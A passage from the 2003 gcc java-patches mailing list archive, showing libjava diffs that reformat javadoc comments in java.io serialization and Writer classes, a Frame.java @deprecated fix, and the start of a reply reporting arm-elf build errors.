-600,13 +600,13 @@ } /** - If enable is true and this object is - trusted, then resolveObject (Object) will be called - in subsequent calls to readObject (Object). - Otherwise, resolveObject (Object) will not be called. - - @exception SecurityException This class is not trusted. - */ + * If enable is true and this object is + * trusted, then resolveObject (Object) will be called + * in subsequent calls to readObject (Object). + * Otherwise, resolveObject (Object) will not be called. + * + * @exception SecurityException This class is not trusted. + */ protected boolean enableResolveObject (boolean enable) throws SecurityException { @@ -622,16 +622,15 @@ return old_val; } - /** - Reads stream magic and stream version information from the - underlying stream. - - @exception IOException Exception from underlying stream. - - @exception StreamCorruptedException An invalid stream magic - number or stream version was read from the stream. - */ + * Reads stream magic and stream version information from the + * underlying stream. + * + * @exception IOException Exception from underlying stream. + * + * @exception StreamCorruptedException An invalid stream magic + * number or stream version was read from the stream. + */ protected void readStreamHeader () throws IOException, StreamCorruptedException { @@ -644,7 +643,6 @@ throw new StreamCorruptedException ("Invalid stream version number"); } - public int read () throws IOException { if (this.readDataFromBlock) @@ -769,9 +767,9 @@ } /** - @deprecated - @see java.io.DataInputStream#readLine () - */ + * @deprecated + * @see java.io.DataInputStream#readLine () + */ public String readLine () throws IOException { return this.dataInputStream.readLine (); @@ -782,13 +780,12 @@ return this.dataInputStream.readUTF (); } - /** - This class allows a class to specify exactly which fields should - be read, and what values should be read for these fields. - - XXX: finish up comments - */ + * This class allows a class to specify exactly which fields should + * be read, and what values should be read for these fields. + * + * XXX: finish up comments + */ public static abstract class GetField { public abstract ObjectStreamClass getObjectStreamClass (); @@ -1018,18 +1015,17 @@ } - /** - Protected constructor that allows subclasses to override - deserialization. This constructor should be called by subclasses - that wish to override readObject (Object). This - method does a security check NOTE: currently not - implemented, then sets a flag that informs - readObject (Object) to call the subclasses - readObjectOverride (Object) method. - - @see readObjectOverride (Object) - */ + * Protected constructor that allows subclasses to override + * deserialization. This constructor should be called by subclasses + * that wish to override readObject (Object). This + * method does a security check NOTE: currently not + * implemented, then sets a flag that informs + * readObject (Object) to call the subclasses + * readObjectOverride (Object) method. + * + * @see #readObjectOverride() + */ protected ObjectInputStream () throws IOException, SecurityException { @@ -1039,23 +1035,21 @@ this.useSubclassMethod = true; } - /** - This method allows subclasses to override the default - de serialization mechanism provided by - ObjectInputStream. To make this method be used for - writing objects, subclasses must invoke the 0-argument - constructor on this class from their constructor. - - @see ObjectInputStream () - */ + * This method allows subclasses to override the default + * de serialization mechanism provided by + * ObjectInputStream. To make this method be used for + * writing objects, subclasses must invoke the 0-argument + * constructor on this class from their constructor. + * + * @see #ObjectInputStream() + */ protected Object readObjectOverride () throws ClassNotFoundException, IOException, OptionalDataException { throw new IOException ("Subclass of ObjectInputStream must implement readObjectOverride"); } - // assigns the next availible handle to OBJ private int assignNewHandle (Object obj) { @@ -1064,7 +1058,6 @@ return this.nextOID++; } - private Object processResolution (Object obj, int handle) throws IOException { @@ -1099,20 +1092,17 @@ return obj; } - private void clearHandles () { this.objectLookupTable.clear (); this.nextOID = baseWireHandle; } - private void readNextBlock () throws IOException { readNextBlock (this.realInputStream.readByte ()); } - private void readNextBlock (byte marker) throws IOException { if (marker == TC_BLOCKDATA) @@ -1139,7 +1129,6 @@ this.blockDataPosition = 0; } - private void readArrayElements (Object array, Class clazz) throws ClassNotFoundException, IOException { @@ -1210,7 +1199,6 @@ } } - private void readFields (Object obj, ObjectStreamClass stream_osc) throws ClassNotFoundException, IOException { @@ -1374,7 +1362,6 @@ return oldmode; } - // returns a new instance of REAL_CLASS that has been constructed // only to the level of CONSTRUCTOR_CLASS (a super class of REAL_CLASS) private Object newObject (Class real_class, Class constructor_class) @@ -1391,7 +1378,6 @@ } } - // runs all registered ObjectInputValidations in prioritized order // on OBJ private void invokeValidators () throws InvalidObjectException @@ -1410,7 +1396,6 @@ this.validators.removeAllElements (); } } - // this native method is used to get access to the protected method // of the same name in SecurityManger Index: java/io/ObjectOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectOutputStream.java,v retrieving revision 1.13 diff -u -r1.13 ObjectOutputStream.java --- java/io/ObjectOutputStream.java 14 Mar 2003 11:54:38 -0000 1.13 +++ java/io/ObjectOutputStream.java 24 Mar 2003 08:20:01 -0000 @@ -49,86 +49,85 @@ import gnu.classpath.Configuration; /** - An ObjectOutputStream can be used to write objects - as well as primitive data in a platform-independent manner to an - OutputStream. - - The data produced by an ObjectOutputStream can be read - and reconstituted by an ObjectInputStream. - - writeObject (Object) is used to write Objects, the - write<type> methods are used to write primitive - data (as in DataOutputStream). Strings can be written - as objects or as primitive data. - - Not all objects can be written out using an - ObjectOutputStream. Only those objects that are an - instance of java.io.Serializable can be written. - - Using default serialization, information about the class of an - object is written, all of the non-transient, non-static fields of - the object are written, if any of these fields are objects, they are - written out in the same manner. - - An object is only written out the first time it is encountered. If - the object is encountered later, a reference to it is written to - the underlying stream. Thus writing circular object graphs - does not present a problem, nor are relationships between objects - in a graph lost. - - Example usage: -

          -   Hashtable map = new Hashtable ();
          -   map.put ("one", new Integer (1));
          -   map.put ("two", new Integer (2));
          -
          -   ObjectOutputStream oos =
          -   new ObjectOutputStream (new FileOutputStream ("numbers"));
          -   oos.writeObject (map);
          -   oos.close ();
          -
          -   ObjectInputStream ois =
          -   new ObjectInputStream (new FileInputStream ("numbers"));
          -   Hashtable newmap = (Hashtable)ois.readObject ();
          -
          -   System.out.println (newmap);
          -   
          - - The default serialization can be overriden in two ways. - - By defining a method private void - writeObject (ObjectOutputStream), a class can dictate exactly - how information about itself is written. - defaultWriteObject () may be called from this method to - carry out default serialization. This method is not - responsible for dealing with fields of super-classes or subclasses. - - By implementing java.io.Externalizable. This gives - the class complete control over the way it is written to the - stream. If this approach is used the burden of writing superclass - and subclass data is transfered to the class implementing - java.io.Externalizable. - - @see java.io.DataOutputStream - @see java.io.Externalizable - @see java.io.ObjectInputStream - @see java.io.Serializable - @see XXX: java serialization spec -*/ + * An ObjectOutputStream can be used to write objects + * as well as primitive data in a platform-independent manner to an + * OutputStream. + * + * The data produced by an ObjectOutputStream can be read + * and reconstituted by an ObjectInputStream. + * + * writeObject (Object) is used to write Objects, the + * write<type> methods are used to write primitive + * data (as in DataOutputStream). Strings can be written + * as objects or as primitive data. + * + * Not all objects can be written out using an + * ObjectOutputStream. Only those objects that are an + * instance of java.io.Serializable can be written. + * + * Using default serialization, information about the class of an + * object is written, all of the non-transient, non-static fields of + * the object are written, if any of these fields are objects, they are + * written out in the same manner. + * + * An object is only written out the first time it is encountered. If + * the object is encountered later, a reference to it is written to + * the underlying stream. Thus writing circular object graphs + * does not present a problem, nor are relationships between objects + * in a graph lost. + * + * Example usage: + *
          + * Hashtable map = new Hashtable ();
          + * map.put ("one", new Integer (1));
          + * map.put ("two", new Integer (2));
          + *
          + * ObjectOutputStream oos =
          + * new ObjectOutputStream (new FileOutputStream ("numbers"));
          + * oos.writeObject (map);
          + * oos.close ();
          + *
          + * ObjectInputStream ois =
          + * new ObjectInputStream (new FileInputStream ("numbers"));
          + * Hashtable newmap = (Hashtable)ois.readObject ();
          + *
          + * System.out.println (newmap);
          + * 
          + * + * The default serialization can be overriden in two ways. + * + * By defining a method private void + * writeObject (ObjectOutputStream), a class can dictate exactly + * how information about itself is written. + * defaultWriteObject () may be called from this method to + * carry out default serialization. This method is not + * responsible for dealing with fields of super-classes or subclasses. + * + * By implementing java.io.Externalizable. This gives + * the class complete control over the way it is written to the + * stream. If this approach is used the burden of writing superclass + * and subclass data is transfered to the class implementing + * java.io.Externalizable. + * + * @see java.io.DataOutputStream + * @see java.io.Externalizable + * @see java.io.ObjectInputStream + * @see java.io.Serializable + */ public class ObjectOutputStream extends OutputStream implements ObjectOutput, ObjectStreamConstants { /** - Creates a new ObjectOutputStream that will do all of - its writing onto out. This method also initializes - the stream by writing the header information (stream magic number - and stream version). - - @exception IOException Writing stream header to underlying - stream cannot be completed. - - @see writeStreamHeader () - */ + * Creates a new ObjectOutputStream that will do all of + * its writing onto out. This method also initializes + * the stream by writing the header information (stream magic number + * and stream version). + * + * @exception IOException Writing stream header to underlying + * stream cannot be completed. + * + * @see #writeStreamHeader() + */ public ObjectOutputStream (OutputStream out) throws IOException { realOutput = new DataOutputStream (out); @@ -145,26 +144,25 @@ writeStreamHeader (); } - /** - Writes a representation of obj to the underlying - output stream by writing out information about its class, then - writing out each of the objects non-transient, non-static - fields. If any of these fields are other objects, - they are written out in the same manner. - - This method can be overriden by a class by implementing - private void writeObject (ObjectOutputStream). - - If an exception is thrown from this method, the stream is left in - an undefined state. - - @exception NotSerializableException An attempt was made to - serialize an Object that is not serializable. - - @exception IOException Exception from underlying - OutputStream. - */ + * Writes a representation of obj to the underlying + * output stream by writing out information about its class, then + * writing out each of the objects non-transient, non-static + * fields. If any of these fields are other objects, + * they are written out in the same manner. + * + * This method can be overriden by a class by implementing + * private void writeObject (ObjectOutputStream). + * + * If an exception is thrown from this method, the stream is left in + * an undefined state. + * + * @exception NotSerializableException An attempt was made to + * serialize an Object that is not serializable. + * + * @exception IOException Exception from underlying + * OutputStream. + */ public final void writeObject (Object obj) throws IOException { if (useSubclassMethod) @@ -494,7 +492,7 @@ @exception IOException if version is not a valid protocol - @see setDefaultProtocolVersion (int) + @see #setDefaultProtocolVersion(int) */ public void useProtocolVersion (int version) throws IOException { @@ -517,7 +515,7 @@ @exception IOException if version is not a valid protocol - @see useProtocolVersion (int) + @see #useProtocolVersion(int) */ public static void setDefaultProtocolVersion (int version) throws IOException @@ -538,7 +536,7 @@ @exception IOException Exception from underlying OutputStream. - @see java.io.ObjectInputStream#resolveClass (java.io.ObjectStreamClass) + @see ObjectInputStream#resolveClass(java.io.ObjectStreamClass) */ protected void annotateClass (Class cl) throws IOException {} @@ -558,7 +556,7 @@ @exception IOException Exception from underlying OutputStream. - @see enableReplaceObject (boolean) + @see #enableReplaceObject(boolean) */ protected Object replaceObject (Object obj) throws IOException { @@ -606,16 +604,16 @@ /** - Protected constructor that allows subclasses to override - serialization. This constructor should be called by subclasses - that wish to override writeObject (Object). This - method does a security check NOTE: currently not - implemented, then sets a flag that informs - writeObject (Object) to call the subclasses - writeObjectOverride (Object) method. - - @see writeObjectOverride (Object) - */ + * Protected constructor that allows subclasses to override + * serialization. This constructor should be called by subclasses + * that wish to override writeObject (Object). This + * method does a security check NOTE: currently not + * implemented, then sets a flag that informs + * writeObject (Object) to call the subclasses + * writeObjectOverride (Object) method. + * + * @see #writeObjectOverride(Object) + */ protected ObjectOutputStream () throws IOException, SecurityException { SecurityManager sec_man = System.getSecurityManager (); @@ -626,17 +624,17 @@ /** - This method allows subclasses to override the default - serialization mechanism provided by - ObjectOutputStream. To make this method be used for - writing objects, subclasses must invoke the 0-argument - constructor on this class from there constructor. - - @see ObjectOutputStream () - - @exception NotActiveException Subclass has arranged for this - method to be called, but did not implement this method. - */ + * This method allows subclasses to override the default + * serialization mechanism provided by + * ObjectOutputStream. To make this method be used for + * writing objects, subclasses must invoke the 0-argument + * constructor on this class from there constructor. + * + * @see #ObjectOutputStream() + * + * @exception NotActiveException Subclass has arranged for this + * method to be called, but did not implement this method. + */ protected void writeObjectOverride (Object obj) throws NotActiveException, IOException { @@ -645,8 +643,8 @@ /** - @see java.io.DataOutputStream#write (int) - */ + * @see DataOutputStream#write(int) + */ public void write (int data) throws IOException { if (writeDataAsBlocks) @@ -662,8 +660,8 @@ /** - @see java.io.DataOutputStream#write (byte[]) - */ + * @see DataOutputStream#write(byte[]) + */ public void write (byte[] b) throws IOException { write (b, 0, b.length); @@ -671,8 +669,8 @@ /** - @see java.io.DataOutputStream#write (byte[],int,int) - */ + * @see DataOutputStream#write(byte[],int,int) + */ public void write (byte[] b, int off, int len) throws IOException { if (writeDataAsBlocks) @@ -698,8 +696,8 @@ /** - @see java.io.DataOutputStream#flush () - */ + * @see DataOutputStream#flush() + */ public void flush () throws IOException { drain (); @@ -708,12 +706,12 @@ /** - Causes the block-data buffer to be written to the underlying - stream, but does not flush underlying stream. - - @exception IOException Exception from underlying - OutputStream. - */ + * Causes the block-data buffer to be written to the underlying + * stream, but does not flush underlying stream. + * + * @exception IOException Exception from underlying + * OutputStream. + */ protected void drain () throws IOException { if (blockDataCount == 0) @@ -727,8 +725,8 @@ /** - @see java.io.DataOutputStream#close () - */ + * @see java.io.DataOutputStream#close () + */ public void close () throws IOException { flush (); @@ -737,8 +735,8 @@ /** - @see java.io.DataOutputStream#writeBoolean (boolean) - */ + * @see java.io.DataOutputStream#writeBoolean (boolean) + */ public void writeBoolean (boolean data) throws IOException { blockDataOutput.writeBoolean (data); @@ -746,8 +744,8 @@ /** - @see java.io.DataOutputStream#writeByte (int) - */ + * @see java.io.DataOutputStream#writeByte (int) + */ public void writeByte (int data) throws IOException { blockDataOutput.writeByte (data); @@ -755,8 +753,8 @@ /** - @see java.io.DataOutputStream#writeShort (int) - */ + * @see java.io.DataOutputStream#writeShort (int) + */ public void writeShort (int data) throws IOException { blockDataOutput.writeShort (data); @@ -764,8 +762,8 @@ /** - @see java.io.DataOutputStream#writeChar (int) - */ + * @see java.io.DataOutputStream#writeChar (int) + */ public void writeChar (int data) throws IOException { blockDataOutput.writeChar (data); @@ -773,8 +771,8 @@ /** - @see java.io.DataOutputStream#writeInt (int) - */ + * @see java.io.DataOutputStream#writeInt (int) + */ public void writeInt (int data) throws IOException { blockDataOutput.writeInt (data); @@ -782,8 +780,8 @@ /** - @see java.io.DataOutputStream#writeLong (long) - */ + * @see java.io.DataOutputStream#writeLong (long) + */ public void writeLong (long data) throws IOException { blockDataOutput.writeLong (data); @@ -791,8 +789,8 @@ /** - @see java.io.DataOutputStream#writeFloat (float) - */ + * @see java.io.DataOutputStream#writeFloat (float) + */ public void writeFloat (float data) throws IOException { blockDataOutput.writeFloat (data); @@ -800,8 +798,8 @@ /** - @see java.io.DataOutputStream#writeDouble (double) - */ + * @see java.io.DataOutputStream#writeDouble (double) + */ public void writeDouble (double data) throws IOException { blockDataOutput.writeDouble (data); @@ -809,8 +807,8 @@ /** - @see java.io.DataOutputStream#writeBytes (java.lang.String) - */ + * @see java.io.DataOutputStream#writeBytes (java.lang.String) + */ public void writeBytes (String data) throws IOException { blockDataOutput.writeBytes (data); @@ -818,8 +816,8 @@ /** - @see java.io.DataOutputStream#writeChars (java.lang.String) - */ + * @see java.io.DataOutputStream#writeChars (java.lang.String) + */ public void writeChars (String data) throws IOException { dataOutput.writeChars (data); @@ -827,8 +825,8 @@ /** - @see java.io.DataOutputStream#writeUTF (java.lang.String) - */ + * @see java.io.DataOutputStream#writeUTF (java.lang.String) + */ public void writeUTF (String data) throws IOException { dataOutput.writeUTF (data); @@ -836,11 +834,11 @@ /** - This class allows a class to specify exactly which fields should - be written, and what values should be written for these fields. - - XXX: finish up comments - */ + * This class allows a class to specify exactly which fields should + * be written, and what values should be written for these fields. + * + * XXX: finish up comments + */ public static abstract class PutField { public abstract void put (String name, boolean value) @@ -863,7 +861,6 @@ throws IOException, IllegalArgumentException; public abstract void write (ObjectOutput out) throws IOException; } - public PutField putFields () throws IOException { Index: java/io/OutputStreamWriter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/OutputStreamWriter.java,v retrieving revision 1.12 diff -u -r1.12 OutputStreamWriter.java --- java/io/OutputStreamWriter.java 20 Mar 2003 07:47:01 -0000 1.12 +++ java/io/OutputStreamWriter.java 24 Mar 2003 08:20:01 -0000 @@ -47,7 +47,6 @@ * API docs for JDK 1.2 beta from http://www.javasoft.com. * Status: Believed complete and correct, but only supports 8859_1. */ - public class OutputStreamWriter extends Writer { BufferedOutputStream out; Index: java/io/Writer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/Writer.java,v retrieving revision 1.6 diff -u -r1.6 Writer.java --- java/io/Writer.java 18 Mar 2003 06:00:25 -0000 1.6 +++ java/io/Writer.java 24 Mar 2003 08:20:01 -0000 @@ -44,93 +44,75 @@ */ /** - * This abstract class forms the base of the hierarchy of classes that - * write output as a stream of chars. It provides a common set of methods - * for writing chars to stream. Subclasses implement and/or extend these - * methods to write chars in a particular manner or to a particular - * destination such as a file on disk or network connection. - * - * @author Aaron M. Renn (arenn@urbanophile.com) - * @author Per Bothner - */ + * This abstract class forms the base of the hierarchy of classes that + * write output as a stream of chars. It provides a common set of methods + * for writing chars to stream. Subclasses implement and/or extend these + * methods to write chars in a particular manner or to a particular + * destination such as a file on disk or network connection. + * + * @author Aaron M. Renn (arenn@urbanophile.com) + * @author Per Bothner + */ public abstract class Writer { /** - * This is the object used to synchronize criticial code sections for - * thread safety. Subclasses should use this field instead of using - * synchronized methods or explicity synchronizations on this - */ - protected Object lock; - - /*************************************************************************/ - - /* - * Constructors + * This is the object used to synchronize criticial code sections for + * thread safety. Subclasses should use this field instead of using + * synchronized methods or explicity synchronizations on this */ + protected Object lock; /** - * This is the default no-argument constructor for this class. This method - * will set up the class to synchronize criticial sections on itself. - */ + * This is the default no-argument constructor for this class. This method + * will set up the class to synchronize criticial sections on itself. + */ protected Writer() { lock = this; } - /*************************************************************************/ - /** - * This method initializes a Writer that will synchronize - * on the specified Object. - * - * @param obj The Object to use for synchronizing critical - * sections - */ + * This method initializes a Writer that will synchronize + * on the specified Object. + * + * @param obj The Object to use for synchronizing critical + * sections + */ protected Writer(Object lock) { this.lock = lock; } - /*************************************************************************/ - - /* - * Instance Methods - */ - /** - * This method forces any data that may have been buffered to be written - * to the underlying output device. Please note that the host environment - * might perform its own buffering unbeknowst to Java. In that case, a - * write made (for example, to a disk drive) might be cached in OS - * buffers instead of actually being written to disk. - * - * @exception IOException If an error occurs - */ + * This method forces any data that may have been buffered to be written + * to the underlying output device. Please note that the host environment + * might perform its own buffering unbeknowst to Java. In that case, a + * write made (for example, to a disk drive) might be cached in OS + * buffers instead of actually being written to disk. + * + * @exception IOException If an error occurs + */ public abstract void flush() throws IOException; - /*************************************************************************/ - /** - * This method closes the stream. Any internal or native resources - * associated - * with this stream are freed. Any subsequent attempt to access the stream - * might throw an exception. - *

          - * This method in this class does nothing. - * - * @exception IOException If an error occurs - */ + * This method closes the stream. Any internal or native resources + * associated + * with this stream are freed. Any subsequent attempt to access the stream + * might throw an exception. + *

          + * This method in this class does nothing. + * + * @exception IOException If an error occurs + */ public abstract void close() throws IOException; - /*************************************************************************/ - /** - * This method writes a single char to the output stream. - * - * @param b The char to be written to the output stream, passed as an int - * - * @exception IOException If an error occurs - */ + * This method writes a single char to the output stream. + * + * @param b The char to be written to the output stream, passed as an int + * + * @exception IOException If an error occurs + */ public void write(int b) throws IOException { char[] buf = new char[1]; @@ -139,68 +121,60 @@ write(buf, 0, buf.length); } - /*************************************************************************/ - /** - * This method all the writes char from the passed array to the output - * stream. This method is equivalent to - * write(buf, 0, buf.length) which - * is exactly how it is implemented in this class. - * - * @param buf The array of char to write - * - * @exception IOException If an error occurs - */ + * This method all the writes char from the passed array to the output + * stream. This method is equivalent to + * write(buf, 0, buf.length) which + * is exactly how it is implemented in this class. + * + * @param buf The array of char to write + * + * @exception IOException If an error occurs + */ public void write(char[] buf) throws IOException { write(buf, 0, buf.length); } - /*************************************************************************/ - /** - * This method writes len char from the specified array - * buf starting at index offset into the array. - *

          - * Subclasses must provide an implementation of this abstract method. - * - * @param buf The array of char to write from - * @param offset The index into the array to start writing from - * @param len The number of char to write - * - * @exception IOException If an error occurs - */ + * This method writes len char from the specified array + * buf starting at index offset into the array. + *

          + * Subclasses must provide an implementation of this abstract method. + * + * @param buf The array of char to write from + * @param offset The index into the array to start writing from + * @param len The number of char to write + * + * @exception IOException If an error occurs + */ public abstract void write(char[] buf, int offset, int len) throws IOException; - /*************************************************************************/ - /** - * This method writes all the characters in a String to the - * output. - * - * @param str The String whose chars are to be written. - * - * @param IOException If an error occurs - */ + * This method writes all the characters in a String to the + * output. + * + * @param str The String whose chars are to be written. + * + * @param IOException If an error occurs + */ public void write(String str) throws IOException { write(str, 0, str.length()); } - /*************************************************************************/ - /** - * This method writes len chars from the String - * starting at position offset. - * - * @param str The String that is to be written - * @param offset The character offset into the String to start - * writing from - * @param len The number of chars to write - * - * @exception IOException If an error occurs - */ + * This method writes len chars from the String + * starting at position offset. + * + * @param str The String that is to be written + * @param offset The character offset into the String to start + * writing from + * @param len The number of chars to write + * + * @exception IOException If an error occurs + */ public void write(String str, int offset, int len) throws IOException { // FIXME - for libgcj re-write using native code to not require --Boundary-00=_6Dsf+cwKpD2WAam-- From java-patches-return-6573-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 08:29:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5514 invoked by alias); 24 Mar 2003 08:29:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5408 invoked from network); 24 Mar 2003 08:29:26 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 24 Mar 2003 08:29:26 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2O8TPjL022449 for ; Mon, 24 Mar 2003 09:29:25 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xNJE-00006g-00 for ; Mon, 24 Mar 2003 09:27:56 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.awt.Frame Date: Mon, 24 Mar 2003 09:22:37 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_NBsf+8HDjCl6DDp" Message-Id: <200303240922.40820.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_NBsf+8HDjCl6DDp Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to fix two @deprecation issues. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD4DBQE+fsBQWSOgCCdjSDsRAjQQAJ9nUHa8gzjMIgirETS9e7qe+nKPeACYpqF3 Dnjr4H9cJOKIm79x1oYGtQ=3D=3D =3DkGrK =2D----END PGP SIGNATURE----- --Boundary-00=_NBsf+8HDjCl6DDp Content-Type: text/x-diff; charset="iso-8859-15"; name="awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1803 diff -u -r1.1803 ChangeLog --- ChangeLog 24 Mar 2003 00:50:17 -0000 1.1803 +++ ChangeLog 24 Mar 2003 08:19:38 -0000 @@ -1,3 +1,9 @@ +2003-03-24 Michael Koch + + * java/awt/Frame.java + (DEFAULT_CURSOR): Fixed @deprecated tag. + (setCursor): Fixed @deprecated tag. + 2003-03-23 Eric Blake * java/lang/natStringBuffer.cc (regionMatches): New function. Index: java/awt/Frame.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Frame.java,v retrieving revision 1.12 diff -u -r1.12 Frame.java --- java/awt/Frame.java 15 Feb 2003 09:21:55 -0000 1.12 +++ java/awt/Frame.java 24 Mar 2003 08:19:38 -0000 @@ -60,7 +60,7 @@ /** * Constant for the default cursor. - * Deprecated. replaced by Cursor.DEFAULT_CURSOR instead. + * @deprecated Replaced by Cursor.DEFAULT_CURSOR instead. */ public static final int DEFAULT_CURSOR = Cursor.DEFAULT_CURSOR; @@ -390,7 +390,7 @@ * * @param type The cursor type. * - * @deprecated. Use Component.setCursor(Cursor) instead. + * @deprecated Use Component.setCursor(Cursor) instead. */ public void setCursor(int type) --Boundary-00=_NBsf+8HDjCl6DDp-- From java-patches-return-6574-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 11:29:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21434 invoked by alias); 24 Mar 2003 11:29:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21406 invoked from network); 24 Mar 2003 11:29:00 -0000 Received: from unknown (HELO fw-cam.cambridge.arm.com) (193.131.176.3) by sources.redhat.com with SMTP; 24 Mar 2003 11:29:00 -0000 Received: by fw-cam.cambridge.arm.com; id LAA29274; Mon, 24 Mar 2003 11:28:59 GMT Received: from unknown(172.16.1.2) by fw-cam.cambridge.arm.com via smap (V5.5) id xma028797; Mon, 24 Mar 03 11:28:29 GMT Received: from pc960.cambridge.arm.com (pc960.cambridge.arm.com [10.1.205.4]) by cam-admin0.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id LAA18454; Mon, 24 Mar 2003 11:28:00 GMT Received: from pc960.cambridge.arm.com (rearnsha@localhost) by pc960.cambridge.arm.com (8.11.6/8.9.3) with ESMTP id h2OBRxJ22186; Mon, 24 Mar 2003 11:27:59 GMT Message-Id: <200303241127.h2OBRxJ22186@pc960.cambridge.arm.com> X-Authentication-Warning: pc960.cambridge.arm.com: rearnsha owned process doing -bs To: java-patches@gcc.gnu.org cc: Richard.Earnshaw@arm.com Reply-To: Richard.Earnshaw@arm.com Organization: ARM Ltd. X-Telephone: +44 1223 400569 (direct+voicemail), +44 1223 400400 (switchbd) X-Fax: +44 1223 400410 X-Address: ARM Ltd., 110 Fulbourn Road, Cherry Hinton, Cambridge CB1 9NJ. Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch In-reply-to: <200303172058.18462.konqueror@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 24 Mar 2003 11:27:59 +0000 From: Richard Earnshaw 2003-03-17 Michael Koch + * configure.in: Create links to architecture dependent files, + introduced PLATFORMNET variable (set to NoNet for newlib usage). + * configure: Regenerated. + * java/net/natInetAddressNoNet.cc, + java/net/natInetAddressPosix.cc, + java/net/natInetAddressWin32.cc, + java/net/natNetworkInterfaceNoNet.cc, + java/net/natNetworkInterfacePosix.cc, + java/net/natNetworkInterfaceWin32.cc, + java/net/natPlainDatagramSocketImplNoNet.cc, + java/net/natPlainDatagramSocketImplPosix.cc, + java/net/natPlainDatagramSocketImplWin32.cc, + java/net/natPlainSocketImplNoNet.cc, + java/net/natPlainSocketImplPosix.cc, + java/net/natPlainSocketImplWin32.cc: New files. Michael, We now have at least three problems on an arm-elf build now: natInetAddressNoNet.cc doesn't define NULL (needs stddef.h) And /bin/sh ./libtool --tag=CXX --mode=compile /work/rearnsha/gnu/egcs/gcc/xgcc -shared-libgcc -B/work/rearnsha/gnu/egcs/gcc/ -nostdinc++ -L/work/rearnsha/gnu/egcs/arm-elf/fpu/libstdc++-v3/src -L/work/rearnsha/gnu/egcs/arm-elf/fpu/libstdc++-v3/src/.libs -nostdinc -B/work/rearnsha/gnu/egcs/arm-elf/fpu/newlib/ -isystem /work/rearnsha/gnu/egcs/arm-elf/fpu/newlib/targ-include -isystem /home/rearnsha/gnusrc/egcs-cross/newlib/libc/include -B/work/rearnsha/gnu/install/arm-elf/bin/ -B/work/rearnsha/gnu/install/arm- elf/lib/ -isystem /work/rearnsha/gnu/install/arm-elf/include -isystem /work/rearnsha/gnu/install/arm-elf/sys-include -L/work/rearnsha/gnu/egcs/ld -mhard-float -DHAVE_CONFIG_H -I. -I/home/rearnsha/gnusrc/egcs-cross/libja va -I./include -I./gcj -I/home/rearnsha/gnusrc/egcs-cross/libjava -Iinclude -I/home/rearnsha/gnusrc/egcs-cross/libjava/include -I/home/rearnsha/gnusrc/egcs-cross/libjava/../boehm-gc/include -DSILENT=1 -DNO_SIGNALS=1 -DNO_EXECUTE_PERMISSION=1 -DALL_INTERIOR_POINTERS=1 -DJAVA_FINALIZATION=1 -DGC_GCJ_SUPPORT=1 -DATOMIC_UNCOLLECTABLE=1 -DNO_SIGSET=1 -DNO_DEBUGGING=1 -I/home/rearnsha/gnusrc/egcs-cross/libja va/.././libjava/../gcc -I/home/rearnsha/gnusrc/egcs-cross/libjava/../zlib -O2 -g -O2 -fno-rtti -fnon-call-exceptions -fdollars-in-identifiers -Wswitch-enum -I/usr/X11R6/include -W -Wall -D_GNU_SOURCE -DPREFIX="\"/work/rearnsha/gnu/install\"" -g -O2 -mhard-float -MD -MT java/net/natPlainSocketImpl.lo -MF java/net/natPlainSocketImpl.pp -c -o java/net/natPlainSocketImpl.lo java/net/natPlainSocketImpl.cc java/net/natPlainDatagramSocketImpl.cc:15:48: java/net/DatagramPacketInetAd dress.h: No such file or directory gnumake[4]: *** [java/net/natPlainDatagramSocketImpl.lo] Error 1 and /work/rearnsha/gnu/egcs/gcc/xgcc -shared-libgcc -B/work/rearnsha/gnu/egcs/g cc/ -nostdinc++ -L/work/rearnsha/gnu/egcs/arm-elf/fpu/libstdc++-v3/src -L/work/rearnsha/gnu/egcs/arm-elf/fpu/libstdc++-v3/src/.libs -nostdinc -B/work/rearnsha/gnu/egcs/arm-elf/fpu/newlib/ -isystem /work/rearnsha/gnu/egcs/arm-elf/fpu/newlib/targ-include -isystem /home/rearnsha/gnusrc/egcs-cross/newlib/libc/include -B/work/rearnsha/gnu/install/arm-elf/bin/ -B/work/rearnsha/gnu/install/arm- elf/lib/ -isystem /work/rearnsha/gnu/install/arm-elf/include -isystem 